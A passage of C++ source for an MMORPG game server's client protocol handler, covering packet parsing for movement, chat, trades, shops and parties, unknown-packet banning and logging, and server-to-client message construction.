                if((!player->hasCustomFlag(PlayerCustomFlag_GamemasterPrivileges) || !g_config.getBool(ConfigManager::DISABLE_OUTFITS_PRIVILEGED))
                    && (g_config.getBool(ConfigManager::ALLOW_CHANGECOLORS) || g_config.getBool(ConfigManager::ALLOW_CHANGEOUTFIT)))
                parseSetOutfit(msg);
                break;

            case 0xDC:
                parseAddVip(msg);
                break;

            case 0xDD:
                parseRemoveVip(msg);
                break;

            case 0xE6:
                parseBugReport(msg);
                break;

            case 0xE7:
                parseViolationWindow(msg);
                break;

            case 0xE8:
                parseDebugAssert(msg);
                break;

            case 0xF0:
                parseQuests(msg);
                break;

            case 0xF1:
                parseQuestInfo(msg);
                break;

            default:
            {
                if(g_config.getBool(ConfigManager::BAN_UNKNOWN_BYTES))
                {
                    int64_t banTime = -1;
                    ViolationAction_t action = ACTION_BANISHMENT;
                    Account tmp = IOLoginData::getInstance()->loadAccount(player->getAccount(), true);

                    tmp.warnings++;
                    if(tmp.warnings >= g_config.getNumber(ConfigManager::WARNINGS_TO_DELETION))
                        action = ACTION_DELETION;
                    else if(tmp.warnings >= g_config.getNumber(ConfigManager::WARNINGS_TO_FINALBAN))
                    {
                        banTime = time(NULL) + g_config.getNumber(ConfigManager::FINALBAN_LENGTH);
                        action = ACTION_BANFINAL;
                    }
                    else
                        banTime = time(NULL) + g_config.getNumber(ConfigManager::BAN_LENGTH);

                    if(IOBan::getInstance()->addAccountBanishment(tmp.number, banTime, 13, action,
                        "Sending unknown packets to the server.", 0, player->getGUID()))
                    {
                        IOLoginData::getInstance()->saveAccount(tmp);
                        player->sendTextMessage(MSG_INFO_DESCR, "You have been banished.");

                        g_game.addMagicEffect(player->getPosition(), MAGIC_EFFECT_WRAPS_GREEN);
                        Scheduler::getInstance().addEvent(createSchedulerTask(1000, boost::bind(
                            &Game::kickPlayer, &g_game, player->getID(), false)));
                    }
                }

                std::stringstream hex, s;
                hex << "0x" << std::hex << (int16_t)recvbyte << std::dec;
                s << player->getName() << " sent unknown byte: " << hex << std::endl;

                LOG_MESSAGE(LOGTYPE_NOTICE, s.str(), "PLAYER")
                Logger::getInstance()->eFile(getFilePath(FILE_TYPE_LOG, "bots/" + player->getName() + ".log").c_str(),
                    "[" + formatDate() + "] Received byte " + hex.str(), false);
                break;
            }
        }
    }
}

void ProtocolGame::GetTileDescription(const Tile* tile, NetworkMessage_ptr msg)
{
    if(!tile)
        return;

    int32_t count = 0;
    if(tile->ground)
    {
        msg->AddItem(tile->ground);
        count++;
    }

    const TileItemVector* items = tile->getItemList();
    const CreatureVector* creatures = tile->getCreatures();

    ItemVector::const_iterator it;
    if(items)
    {
        for(it = items->getBeginTopItem(); (it != items->getEndTopItem() && count < 10); ++it, ++count)
            msg->AddItem(*it);
    }

    if(creatures)
    {
        for(CreatureVector::const_reverse_iterator cit = creatures->rbegin(); (cit != creatures->rend() && count < 10); ++cit)
        {
            if(!player->canSeeCreature(*cit))
                continue;

            bool known;
            uint32_t removedKnown;
            checkCreatureAsKnown((*cit)->getID(), known, removedKnown);

            AddCreature(msg, (*cit), known, removedKnown);
            count++;
        }
    }

    if(items)
    {
        for(it = items->getBeginDownItem(); (it != items->getEndDownItem() && count < 10); ++it, ++count)
            msg->AddItem(*it);
    }
}

void ProtocolGame::GetMapDescription(int32_t x, int32_t y, int32_t z,
    int32_t width, int32_t height, NetworkMessage_ptr msg)
{
    int32_t skip = -1, startz, endz, zstep = 0;
    if(z > 7)
    {
        startz = z - 2;
        endz = std::min((int32_t)MAP_MAX_LAYERS - 1, z + 2);
        zstep = 1;
    }
    else
    {
        startz = 7;
        endz = 0;
        zstep = -1;
    }

    for(int32_t nz = startz; nz != endz + zstep; nz += zstep)
        GetFloorDescription(msg, x, y, nz, width, height, z - nz, skip);

    if(skip >= 0)
    {
        msg->AddByte(skip);
        msg->AddByte(0xFF);
        //cc += skip;
    }
}

void ProtocolGame::GetFloorDescription(NetworkMessage_ptr msg, int32_t x, int32_t y, int32_t z,
        int32_t width, int32_t height, int32_t offset, int32_t& skip)
{
    Tile* tile = NULL;
    for(int32_t nx = 0; nx < width; nx++)
    {
        for(int32_t ny = 0; ny < height; ny++)
        {
            if((tile = g_game.getTile(Position(x + nx + offset, y + ny + offset, z))))
            {
                if(skip >= 0)
                {
                    msg->AddByte(skip);
                    msg->AddByte(0xFF);
                }

                skip = 0;
                GetTileDescription(tile, msg);
            }
            else
            {
                ++skip;
                if(skip == 0xFF)
                {
                    msg->AddByte(0xFF);
                    msg->AddByte(0xFF);
                    skip = -1;
                }
            }
        }
    }
}

void ProtocolGame::checkCreatureAsKnown(uint32_t id, bool& known, uint32_t& removedKnown)
{
    // loop through the known creature list and check if the given creature is in
    for(std::list<uint32_t>::iterator it = knownCreatureList.begin(); it != knownCreatureList.end(); ++it)
    {
        if((*it) != id)
            continue;

        // know... make the creature even more known...
        knownCreatureList.erase(it);
        knownCreatureList.push_back(id);

        known = true;
        return;
    }

    // ok, he is unknown...
    known = false;
    // ... but not in future
    knownCreatureList.push_back(id);
    // too many known creatures?
    if(knownCreatureList.size() > 250)
    {
        // lets try to remove one from the end of the list
        Creature* c = NULL;
        for(int32_t n = 0; n < 250; n++)
        {
            removedKnown = knownCreatureList.front();
            if(!(c = g_game.getCreatureByID(removedKnown)) || !canSee(c))
                break;

            // this creature we can't remove, still in sight, so back to the end
            knownCreatureList.pop_front();
            knownCreatureList.push_back(removedKnown);
        }

        // hopefully we found someone to remove :S, we got only 250 tries
        // if not... lets kick some players with debug errors :)
        knownCreatureList.pop_front();
    }
    else // we can cache without problems :)
        removedKnown = 0;
}

bool ProtocolGame::canSee(const Creature* c) const
{
    return !c->isRemoved() && player->canSeeCreature(c) && canSee(c->getPosition());
}

bool ProtocolGame::canSee(const Position& pos) const
{
    return canSee(pos.x, pos.y, pos.z);
}

bool ProtocolGame::canSee(uint16_t x, uint16_t y, uint16_t z) const
{
#ifdef __DEBUG__
    if(z < 0 || z >= MAP_MAX_LAYERS)
        std::cout << "[Warning - ProtocolGame::canSee] Z-value is out of range!" << std::endl;
#endif

    const Position& myPos = player->getPosition();
    if(myPos.z <= 7)
    {
        //we are on ground level or above (7 -> 0), view is from 7 -> 0
        if(z > 7)
            return false;
    }
    else if(myPos.z >= 8 && std::abs(myPos.z - z) > 2) //we are underground (8 -> 15), view is +/- 2 from the floor we stand on
        return false;

    //negative offset means that the action taken place is on a lower floor than ourself
    int32_t offsetz = myPos.z - z;
    return ((x >= myPos.x - 8 + offsetz) && (x <= myPos.x + 9 + offsetz) &&
        (y >= myPos.y - 6 + offsetz) && (y <= myPos.y + 7 + offsetz));
}

//********************** Parse methods *******************************//
void ProtocolGame::parseLogout(NetworkMessage& msg)
{
    Dispatcher::getInstance().addTask(createTask(boost::bind(&ProtocolGame::logout, this, true, false)));
}

void ProtocolGame::parseCreatePrivateChannel(NetworkMessage& msg)
{
    addGameTask(&Game::playerCreatePrivateChannel, player->getID());
}

void ProtocolGame::parseChannelInvite(NetworkMessage& msg)
{
    const std::string name = msg.GetString();
    addGameTask(&Game::playerChannelInvite, player->getID(), name);
}

void ProtocolGame::parseChannelExclude(NetworkMessage& msg)
{
    const std::string name = msg.GetString();
    addGameTask(&Game::playerChannelExclude, player->getID(), name);
}

void ProtocolGame::parseGetChannels(NetworkMessage& msg)
{
    addGameTask(&Game::playerRequestChannels, player->getID());
}

void ProtocolGame::parseOpenChannel(NetworkMessage& msg)
{
    uint16_t channelId = msg.GetU16();
    addGameTask(&Game::playerOpenChannel, player->getID(), channelId);
}

void ProtocolGame::parseCloseChannel(NetworkMessage& msg)
{
    uint16_t channelId = msg.GetU16();
    addGameTask(&Game::playerCloseChannel, player->getID(), channelId);
}

void ProtocolGame::parseOpenPriv(NetworkMessage& msg)
{
    const std::string receiver = msg.GetString();
    addGameTask(&Game::playerOpenPrivateChannel, player->getID(), receiver);
}

void ProtocolGame::parseProcessRuleViolation(NetworkMessage& msg)
{
    const std::string reporter = msg.GetString();
    addGameTask(&Game::playerProcessRuleViolation, player->getID(), reporter);
}

void ProtocolGame::parseCloseRuleViolation(NetworkMessage& msg)
{
    const std::string reporter = msg.GetString();
    addGameTask(&Game::playerCloseRuleViolation, player->getID(), reporter);
}

void ProtocolGame::parseCancelRuleViolation(NetworkMessage& msg)
{
    addGameTask(&Game::playerCancelRuleViolation, player->getID());
}

void ProtocolGame::parseCloseNpc(NetworkMessage& msg)
{
    addGameTask(&Game::playerCloseNpcChannel, player->getID());
}

void ProtocolGame::parseCancelMove(NetworkMessage& msg)
{
    addGameTask(&Game::playerCancelAttackAndFollow, player->getID());
}

void ProtocolGame::parseReceivePing(NetworkMessage& msg)
{
    addGameTask(&Game::playerReceivePing, player->getID());
}

void ProtocolGame::parseAutoWalk(NetworkMessage& msg)
{
    // first we get all directions...
    std::list<Direction> path;
    size_t dirCount = msg.GetByte();
    for(size_t i = 0; i < dirCount; ++i)
    {
        uint8_t rawDir = msg.GetByte();
        Direction dir = SOUTH;
        switch(rawDir)
        {
            case 1:
                dir = EAST;
                break;
            case 2:
                dir = NORTHEAST;
                break;
            case 3:
                dir = NORTH;
                break;
            case 4:
                dir = NORTHWEST;
                break;
            case 5:
                dir = WEST;
                break;
            case 6:
                dir = SOUTHWEST;
                break;
            case 7:
                dir = SOUTH;
                break;
            case 8:
                dir = SOUTHEAST;
                break;
            default:
                continue;
        }

        path.push_back(dir);
    }

    addGameTask(&Game::playerAutoWalk, player->getID(), path);
}

void ProtocolGame::parseMove(NetworkMessage& msg, Direction dir)
{
    addGameTask(&Game::playerMove, player->getID(), dir);
}

void ProtocolGame::parseTurn(NetworkMessage& msg, Direction dir)
{
    addGameTaskTimed(DISPATCHER_TASK_EXPIRATION, &Game::playerTurn, player->getID(), dir);
}

void ProtocolGame::parseRequestOutfit(NetworkMessage& msg)
{
    addGameTask(&Game::playerRequestOutfit, player->getID());
}

void ProtocolGame::parseSetOutfit(NetworkMessage& msg)
{
    Outfit_t newOutfit = player->defaultOutfit;
    if(g_config.getBool(ConfigManager::ALLOW_CHANGEOUTFIT))
        newOutfit.lookType = msg.GetU16();
    else
        msg.SkipBytes(2);

    if(g_config.getBool(ConfigManager::ALLOW_CHANGECOLORS))
    {
        newOutfit.lookHead = msg.GetByte();
        newOutfit.lookBody = msg.GetByte();
        newOutfit.lookLegs = msg.GetByte();
        newOutfit.lookFeet = msg.GetByte();
    }
    else
        msg.SkipBytes(4);

    if(g_config.getBool(ConfigManager::ALLOW_CHANGEADDONS))
        newOutfit.lookAddons = msg.GetByte();
    else
        msg.SkipBytes(1);

    addGameTask(&Game::playerChangeOutfit, player->getID(), newOutfit);
}

void ProtocolGame::parseUseItem(NetworkMessage& msg)
{
    Position pos = msg.GetPosition();
    uint16_t spriteId = msg.GetSpriteId();
    int16_t stackpos = msg.GetByte();
    uint8_t index = msg.GetByte();
    bool isHotkey = (pos.x == 0xFFFF && !pos.y && !pos.z);
    addGameTaskTimed(DISPATCHER_TASK_EXPIRATION, &Game::playerUseItem, player->getID(), pos, stackpos, index, spriteId, isHotkey);
}

void ProtocolGame::parseUseItemEx(NetworkMessage& msg)
{
    Position fromPos = msg.GetPosition();
    uint16_t fromSpriteId = msg.GetSpriteId();
    int16_t fromStackpos = msg.GetByte();
    Position toPos = msg.GetPosition();
    uint16_t toSpriteId = msg.GetU16();
    int16_t toStackpos = msg.GetByte();
    bool isHotkey = (fromPos.x == 0xFFFF && !fromPos.y && !fromPos.z);
    addGameTaskTimed(DISPATCHER_TASK_EXPIRATION, &Game::playerUseItemEx, player->getID(),
        fromPos, fromStackpos, fromSpriteId, toPos, toStackpos, toSpriteId, isHotkey);
}

void ProtocolGame::parseBattleWindow(NetworkMessage& msg)
{
    Position fromPos = msg.GetPosition();
    uint16_t spriteId = msg.GetSpriteId();
    int16_t fromStackpos = msg.GetByte();
    uint32_t creatureId = msg.GetU32();
    bool isHotkey = (fromPos.x == 0xFFFF && !fromPos.y && !fromPos.z);
    addGameTaskTimed(DISPATCHER_TASK_EXPIRATION, &Game::playerUseBattleWindow, player->getID(), fromPos, fromStackpos, creatureId, spriteId, isHotkey);
}

void ProtocolGame::parseCloseContainer(NetworkMessage& msg)
{
    uint8_t cid = msg.GetByte();
    addGameTask(&Game::playerCloseContainer, player->getID(), cid);
}

void ProtocolGame::parseUpArrowContainer(NetworkMessage& msg)
{
    uint8_t cid = msg.GetByte();
    addGameTask(&Game::playerMoveUpContainer, player->getID(), cid);
}

void ProtocolGame::parseUpdateTile(NetworkMessage& msg)
{
    Position pos = msg.GetPosition();
    //addGameTask(&Game::playerUpdateTile, player->getID(), pos);
}

void ProtocolGame::parseUpdateContainer(NetworkMessage& msg)
{
    uint8_t cid = msg.GetByte();
    addGameTask(&Game::playerUpdateContainer, player->getID(), cid);
}

void ProtocolGame::parseThrow(NetworkMessage& msg)
{
    Position fromPos = msg.GetPosition();
    uint16_t spriteId = msg.GetSpriteId();
    int16_t fromStackpos = msg.GetByte();
    Position toPos = msg.GetPosition();
    uint8_t count = msg.GetByte();
    if(toPos != fromPos)
        addGameTaskTimed(DISPATCHER_TASK_EXPIRATION, &Game::playerMoveThing,
            player->getID(), fromPos, spriteId, fromStackpos, toPos, count);
}

void ProtocolGame::parseLookAt(NetworkMessage& msg)
{
    Position pos = msg.GetPosition();
    uint16_t spriteId = msg.GetSpriteId();
    int16_t stackpos = msg.GetByte();
    addGameTaskTimed(DISPATCHER_TASK_EXPIRATION, &Game::playerLookAt, player->getID(), pos, spriteId, stackpos);
}

void ProtocolGame::parseSay(NetworkMessage& msg)
{
    std::string receiver;
    uint16_t channelId = 0;

    SpeakClasses type = (SpeakClasses)msg.GetByte();
    switch(type)
    {
        case SPEAK_PRIVATE:
        case SPEAK_PRIVATE_RED:
        case SPEAK_RVR_ANSWER:
            receiver = msg.GetString();
            break;

        case SPEAK_CHANNEL_Y:
        case SPEAK_CHANNEL_RN:
        case SPEAK_CHANNEL_RA:
            channelId = msg.GetU16();
            break;

        default:
            break;
    }

    const std::string text = msg.GetString();
    if(text.length() > 255) //client limit
    {
        std::stringstream s;
        s << text.length();

        Logger::getInstance()->eFile("bots/" + player->getName() + ".log", "Attempt to send message with size " + s.str() + " - client is limited to 255 characters.", true);
        return;
    }

    addGameTaskTimed(DISPATCHER_TASK_EXPIRATION, &Game::playerSay, player->getID(), channelId, type, receiver, text);
}

void ProtocolGame::parseFightModes(NetworkMessage& msg)
{
    uint8_t rawFightMode = msg.GetByte(); //1 - offensive, 2 - balanced, 3 - defensive
    uint8_t rawChaseMode = msg.GetByte(); //0 - stand while fightning, 1 - chase opponent
    uint8_t rawSecureMode = msg.GetByte(); //0 - can't attack unmarked, 1 - can attack unmarked

    chaseMode_t chaseMode = CHASEMODE_STANDSTILL;
    if(rawChaseMode == 1)
        chaseMode = CHASEMODE_FOLLOW;

    fightMode_t fightMode = FIGHTMODE_ATTACK;
    if(rawFightMode == 2)
        fightMode = FIGHTMODE_BALANCED;
    else if(rawFightMode == 3)
        fightMode = FIGHTMODE_DEFENSE;

    secureMode_t secureMode = SECUREMODE_OFF;
    if(rawSecureMode == 1)
        secureMode = SECUREMODE_ON;

    addGameTaskTimed(DISPATCHER_TASK_EXPIRATION, &Game::playerSetFightModes, player->getID(), fightMode, chaseMode, secureMode);
}

void ProtocolGame::parseAttack(NetworkMessage& msg)
{
    uint32_t creatureId = msg.GetU32();
    addGameTask(&Game::playerSetAttackedCreature, player->getID(), creatureId);
}

void ProtocolGame::parseFollow(NetworkMessage& msg)
{
    uint32_t creatureId = msg.GetU32();
    addGameTask(&Game::playerFollowCreature, player->getID(), creatureId);
}

void ProtocolGame::parseTextWindow(NetworkMessage& msg)
{
    uint32_t windowTextId = msg.GetU32();
    const std::string newText = msg.GetString();
    addGameTask(&Game::playerWriteItem, player->getID(), windowTextId, newText);
}

void ProtocolGame::parseHouseWindow(NetworkMessage &msg)
{
    uint8_t doorId = msg.GetByte();
    uint32_t id = msg.GetU32();
    const std::string text = msg.GetString();
    addGameTask(&Game::playerUpdateHouseWindow, player->getID(), doorId, id, text);
}

void ProtocolGame::parseLookInShop(NetworkMessage &msg)
{
    uint16_t id = msg.GetU16();
    uint16_t count = msg.GetByte();
    addGameTaskTimed(DISPATCHER_TASK_EXPIRATION, &Game::playerLookInShop, player->getID(), id, count);
}

void ProtocolGame::parsePlayerPurchase(NetworkMessage &msg)
{
    uint16_t id = msg.GetU16();
    uint16_t count = msg.GetByte();
    uint16_t amount = msg.GetByte();
    bool ignoreCap = msg.GetByte();
    bool inBackpacks = msg.GetByte();
    addGameTaskTimed(DISPATCHER_TASK_EXPIRATION, &Game::playerPurchaseItem, player->getID(), id, count, amount, ignoreCap, inBackpacks);
}

void ProtocolGame::parsePlayerSale(NetworkMessage &msg)
{
    uint16_t id = msg.GetU16();
    uint16_t count = msg.GetByte();
    uint16_t amount = msg.GetByte();
    addGameTaskTimed(DISPATCHER_TASK_EXPIRATION, &Game::playerSellItem, player->getID(), id, count, amount);
}

void ProtocolGame::parseCloseShop(NetworkMessage &msg)
{
    addGameTask(&Game::playerCloseShop, player->getID());
}

void ProtocolGame::parseRequestTrade(NetworkMessage& msg)
{
    Position pos = msg.GetPosition();
    uint16_t spriteId = msg.GetSpriteId();
    int16_t stackpos = msg.GetByte();
    uint32_t playerId = msg.GetU32();
    addGameTask(&Game::playerRequestTrade, player->getID(), pos, stackpos, playerId, spriteId);
}

void ProtocolGame::parseAcceptTrade(NetworkMessage& msg)
{
    addGameTask(&Game::playerAcceptTrade, player->getID());
}

void ProtocolGame::parseLookInTrade(NetworkMessage& msg)
{
    bool counter = msg.GetByte();
    int32_t index = msg.GetByte();
    addGameTaskTimed(DISPATCHER_TASK_EXPIRATION, &Game::playerLookInTrade, player->getID(), counter, index);
}

void ProtocolGame::parseCloseTrade()
{
    addGameTask(&Game::playerCloseTrade, player->getID());
}

void ProtocolGame::parseAddVip(NetworkMessage& msg)
{
    const std::string name = msg.GetString();
    if(name.size() > 32)
        return;

    addGameTask(&Game::playerRequestAddVip, player->getID(), name);
}

void ProtocolGame::parseRemoveVip(NetworkMessage& msg)
{
    uint32_t guid = msg.GetU32();
    addGameTask(&Game::playerRequestRemoveVip, player->getID(), guid);
}

void ProtocolGame::parseRotateItem(NetworkMessage& msg)
{
    Position pos = msg.GetPosition();
    uint16_t spriteId = msg.GetSpriteId();
    int16_t stackpos = msg.GetByte();
    addGameTaskTimed(DISPATCHER_TASK_EXPIRATION, &Game::playerRotateItem, player->getID(), pos, stackpos, spriteId);
}

void ProtocolGame::parseDebugAssert(NetworkMessage& msg)
{
    if(m_debugAssertSent)
        return;

    std::stringstream s;
    s << "----- " << formatDate() << " - " << player->getName() << " (" << convertIPAddress(getIP())
        << ") -----" << std::endl << msg.GetString() << std::endl << msg.GetString()
        << std::endl << msg.GetString() << std::endl << msg.GetString()
        << std::endl << std::endl;

    m_debugAssertSent = true;
    Logger::getInstance()->iFile(LOGFILE_CLIENT_ASSERTION, s.str(), false);
}

void ProtocolGame::parseBugReport(NetworkMessage& msg)
{
    std::string comment = msg.GetString();
    addGameTask(&Game::playerReportBug, player->getID(), comment);
}

void ProtocolGame::parseInviteToParty(NetworkMessage& msg)
{
    uint32_t targetId = msg.GetU32();
    addGameTask(&Game::playerInviteToParty, player->getID(), targetId);
}

void ProtocolGame::parseJoinParty(NetworkMessage& msg)
{
    uint32_t targetId = msg.GetU32();
    addGameTask(&Game::playerJoinParty, player->getID(), targetId);
}

void ProtocolGame::parseRevokePartyInvite(NetworkMessage& msg)
{
    uint32_t targetId = msg.GetU32();
    addGameTask(&Game::playerRevokePartyInvitation, player->getID(), targetId);
}

void ProtocolGame::parsePassPartyLeadership(NetworkMessage& msg)
{
    uint32_t targetId = msg.GetU32();
    addGameTask(&Game::playerPassPartyLeadership, player->getID(), targetId);
}

void ProtocolGame::parseLeaveParty(NetworkMessage& msg)
{
    addGameTask(&Game::playerLeaveParty, player->getID());
}

void ProtocolGame::parseSharePartyExperience(NetworkMessage& msg)
{
    bool activate = msg.GetByte();
    uint8_t unknown = msg.GetByte(); //TODO: find out what is this byte
    addGameTask(&Game::playerSharePartyExperience, player->getID(), activate, unknown);
}

void ProtocolGame::parseQuests(NetworkMessage& msg)
{
    addGameTask(&Game::playerQuests, player->getID());
}

void ProtocolGame::parseQuestInfo(NetworkMessage& msg)
{
    uint16_t questId = msg.GetU16();
    addGameTask(&Game::playerQuestInfo, player->getID(), questId);
}

void ProtocolGame::parseViolationWindow(NetworkMessage& msg)
{
    std::string target = msg.GetString();
    uint8_t reason = msg.GetByte();
    ViolationAction_t action = (ViolationAction_t)msg.GetByte();
    std::string comment = msg.GetString();
    std::string statement = msg.GetString();
    uint32_t statementId = (uint32_t)msg.GetU16();
    bool ipBanishment = msg.GetByte();
    addGameTask(&Game::playerViolationWindow, player->getID(), target, reason, action, comment, statement, statementId, ipBanishment);
}

//********************** Send methods *******************************//
void ProtocolGame::sendOpenPrivateChannel(const std::string& receiver)
{
    NetworkMessage_ptr msg = getOutputBuffer();
    if(msg)
    {
        TRACK_MESSAGE(msg);
        msg->AddByte(0xAD);
        msg->AddString(receiver);
    }
}

void ProtocolGame::sendCreatureOutfit(const Creature* creature, const Outfit_t& outfit)
{
    if(!canSee(creature))
        return;

    NetworkMessage_ptr msg = getOutputBuffer();
    if(msg)
    {
        TRACK_MESSAGE(msg);
        msg->AddByte(0x8E);
        msg->AddU32(creature->getID());
        AddCreatureOutfit(msg, creature, outfit);
    }
}

void ProtocolGame::sendCreatureLight(const Creature* creature)
{
    if(!canSee(creature))
        return;

    NetworkMessage_ptr msg = getOutputBuffer();
    if(msg)
    {
        TRACK_MESSAGE(msg);
        AddCreatureLight(msg, creature);
    }
}

void ProtocolGame::sendWorldLight(const LightInfo& lightInfo)
{
    NetworkMessage_ptr msg = getOutputBuffer();
    if(msg)
    {
        TRACK_MESSAGE(msg);
        AddWorldLight(msg, lightInfo);
    }
}

void ProtocolGame::sendCreatureShield(const Creature* creature)
{
    if(!canSee(creature))
        return;

    NetworkMessage_ptr msg = getOutputBuffer();
    if(msg)
    {
        TRACK_MESSAGE(msg);
        msg->AddByte(0x91);
        msg->AddU32(creature->getID());
        msg->AddByte(player->getPartyShield(creature));
    }
}

void ProtocolGame::sendCreatureSkull(const Creature* creature)
{
    if(!canSee(creature))
        return;

    NetworkMessage_ptr msg = getOutputBuffer();
    if(msg)
    {
        TRACK_MESSAGE(msg);
        msg->AddByte(0x90);
        msg->AddU32(creature->getID());
        msg->AddByte(player->getSkullClient(creature));
    }
}

void ProtocolGame::sendCreatureSquare(const Creature* creature, SquareColor_t color)
{
    if(!canSee(creature))
        return;

    NetworkMessage_ptr msg = getOutputBuffer();
    if(msg)
    {
        TRACK_MESSAGE(msg);
        msg->AddByte(0x86);
        msg->AddU32(creature->getID());
        msg->AddByte((uint8_t)color);
    }
}

void ProtocolGame::sendTutorial(uint8_t tutorialId)
{
    NetworkMessage_ptr msg = getOutputBuffer();
    if(msg)
    {
        TRACK_MESSAGE(msg);
        msg->AddByte(0xDC);
        msg->AddByte(tutorialId);
    }
}

void ProtocolGame::sendAddMarker(const Position& pos, MapMarks_t markType, const std::string& desc)
{
    NetworkMessage_ptr msg = getOutputBuffer();
    if(msg)
    {
        TRACK_MESSAGE(msg);
        msg->AddByte(0xDD);
        msg->AddPosition(pos);
        msg->AddByte(markType);
        msg->AddString(desc);
    }
}

void ProtocolGame::sendReLoginWindow()
{
    NetworkMessage_ptr msg = getOutputBuffer();
    if(msg)
    {
        TRACK_MESSAGE(msg);
        msg->AddByte(0x28);
    }
}

void ProtocolGame::sendStats()
{
    NetworkMessage_ptr msg = getOutputBuffer();
    if(msg)
    {
        TRACK_MESSAGE(msg);
        AddPlayerStats(msg);
    }
}

void ProtocolGame::sendTextMessage(MessageClasses mClass, const std::string& message)
{
    NetworkMessage_ptr msg = getOutputBuffer();
    if(msg)
    {
        TRACK_MESSAGE(msg);
        AddTextMessage(msg, mClass, message);
    }
}

void ProtocolGame::sendClosePrivate(uint16_t channelId)
{
    NetworkMessage_ptr msg = getOutputBuffer();
    if(msg)
    {
        TRACK_MESSAGE(msg);
        if(channelId == CHANNEL_GUILD || channelId == CHANNEL_PARTY)
            g_chat.removeUserFromChannel(player, channelId);

        msg->AddByte(0xB3);
        msg->AddU16(channelId);
    }
}

void ProtocolGame::sendCreatePrivateChannel(uint16_t channelId, const std::string& channelName)
{
    NetworkMessage_ptr msg = getOutputBuffer();
    if(msg)
    {
        TRACK_MESSAGE(msg);
        msg->AddByte(0xB2);
        msg->AddU16(channelId);
        msg->AddString(channelName);
    }
}

void ProtocolGame::sendChannelsDialog()
{
    NetworkMessage_ptr msg = getOutputBuffer();
    if(msg)
    {
        TRACK_MESSAGE(msg);
        msg->AddByte(0xAB);
        ChannelList list = g_chat.getChannelList(player);
        msg->AddByte(list.size());
        for(ChannelList::iterator it = list.begin(); it != list.end(); ++it)
        {
            if(ChatChannel* channel = (*it))
            {
                msg->AddU16(channel->getId());
                msg->AddString(channel->getName());
            }
        }
    }
}

void ProtocolGame::sendChannel(uint16_t channelId, const std::string& channelName)
{
    NetworkMessage_ptr msg = getOutputBuffer();
    if(msg)
    {
        TRACK_MESSAGE(msg);
        msg->AddByte(0xAC);
        msg->AddU16(channelId);
        msg->AddString(channelName);
    }
}

void ProtocolGame::sendRuleViolationsChannel(uint16_t channelId)
{
    NetworkMessage_ptr msg = getOutputBuffer();
    if(msg)
    {
        TRACK_MESSAGE(msg);
        msg->AddByte(0xAE);
        msg->AddU16(channelId);
        for(RuleViolationsMap::const_iterator it = g_game.getRuleViolations().begin(); it != g_game.getRuleViolations().end(); ++it)
        {
            RuleViolation& rvr = *it->second;
            if(rvr.isOpen && rvr.reporter)
                AddCreatureSpeak(msg, rvr.reporter, SPEAK_RVR_CHANNEL, rvr.text, channelId, rvr.time);
        }
    }
}

void ProtocolGame::sendRemoveReport(const std::string& name)
{
    NetworkMessage_ptr msg = getOutputBuffer();
    if(msg)
    {
        TRACK_MESSAGE(msg);
        msg->AddByte(0xAF);
        msg->AddString(name);
    }
}

void ProtocolGame::sendRuleViolationCancel(const std::string& name)
{
    NetworkMessage_ptr msg = getOutputBuffer();
    if(msg)
    {
        TRACK_MESSAGE(msg);
        msg->AddByte(0xB0);
        msg->AddString(name);
    }
}

void ProtocolGame::sendLockRuleViolation()
{
    NetworkMessage_ptr msg = getOutputBuffer();
    if(msg)
    {
        TRACK_MESSAGE(msg);
        msg->AddByte(0xB1);
    }
}

void ProtocolGame::sendIcons(int32_t icons)
{
    NetworkMessage_ptr msg = getOutputBuffer();
    if(msg)
    {
        TRACK_MESSAGE(msg);
        msg->AddByte(0xA2);
        msg->AddU16(icons);
    }
}

void ProtocolGame::sendContainer(uint32_t cid, const Container* container, bool hasParent)
{
    NetworkMessage_ptr msg = getOutputBuffer();
    if(msg)
    {
        TRACK_MESSAGE(msg);
        msg->AddByte(0x6E);
        msg->AddByte(cid);

        msg->AddItemId(container);
        msg->AddString(container->getName());
        msg->AddByte(container->capacity());

        msg->AddByte(hasParent ? 0x01 : 0x00);
        msg->AddByte(std::min(container->size(), (uint32_t)255));

        ItemList::const_iterator cit = container->getItems();
        for(uint32_t i = 0; cit != container->getEnd() && i < 255; ++cit, ++i)
            msg->AddItem(*cit);
    }
}

void ProtocolGame::sendShop(const ShopInfoList& shop)
{
    NetworkMessage_ptr msg = getOutputBuffer();
    if(msg)
    {
        TRACK_MESSAGE(msg);
        msg->AddByte(0x7A);
        msg->AddByte(std::min(shop.size(), (size_t)255));

        ShopInfoList::const_iterator it = shop.begin();
        for(uint32_t i = 0; it != shop.end() && i < 255; ++it, ++i)
            AddShopItem(msg, (*it));
    }
}

void ProtocolGame::sendCloseShop()
{
    NetworkMessage_ptr msg = getOutputBuffer();
    if(msg)
    {
        TRACK_MESSAGE(msg);
        msg->AddByte(0x7C);
    }
}

void ProtocolGame::sendGoods(const ShopInfoList& shop)
{
    NetworkMessage_ptr msg = getOutputBuffer();
    if(msg)
    {
        TRACK_MESSAGE(msg);
        msg->AddByte(0x7B);
        msg->AddU32(g_game.getMoney(player));

        std::map<uint32_t, uint32_t> goodsMap;
        if(shop.size() >= 5)
        {
            for(ShopInfoList::const_iterator sit = shop.begin(); sit != shop.end(); ++sit)
            {
                if(sit->sellPrice < 0)
                    continue;

                int8_t subType = -1;
                if(sit->subType)
                {
                    const ItemType& it = Item::items[sit->itemId];
                    if(it.hasSubType() && !it.stackable)
                        subType = sit->subType;
                }

                uint32_t count = player->__getItemTypeCount(sit->itemId, subType);
                if(count > 0)
                    goodsMap[sit->itemId] = count;
            }
        }
        else
        {
            std::map<uint32_t, uint32_t> tmpMap;
            player->__getAllItemTypeCount(tmpMap);
            for(ShopInfoList::const_iterator sit = shop.begin(); sit != shop.end(); ++sit)
            {
                if(sit->sellPrice < 0)
                    continue;

                int8_t subType = -1;
                if(sit->subType)
                {
                    const ItemType& it = Item::items[sit->itemId];
                    if(it.hasSubType() && !it.stackable)
                        subType = sit->subType;
                }

                if(subType != -1)
                {
                    uint32_t count = player->__getItemTypeCount(sit->itemId, subType);
                    if(count > 0)
                        goodsMap[sit->itemId] = count;
                }
                else
                    goodsMap[sit->itemId] = tmpMap[sit->itemId];
            }
        }

        msg->AddByte(std::min(goodsMap.size(), (size_t)255));
        std::map<uint32_t, uint32_t>::const_iterator it = goodsMap.begin();
        for(uint32_t i = 0; it != goodsMap.end() && i < 255; ++it, ++i)
        {
            msg->AddItemId(it->first);
            msg->AddByte(std::min(it->second, (uint32_t)255));
        }
    }
}

void ProtocolGame::sendTradeItemRequest(const Player* player, const Item* item, bool ack)
{
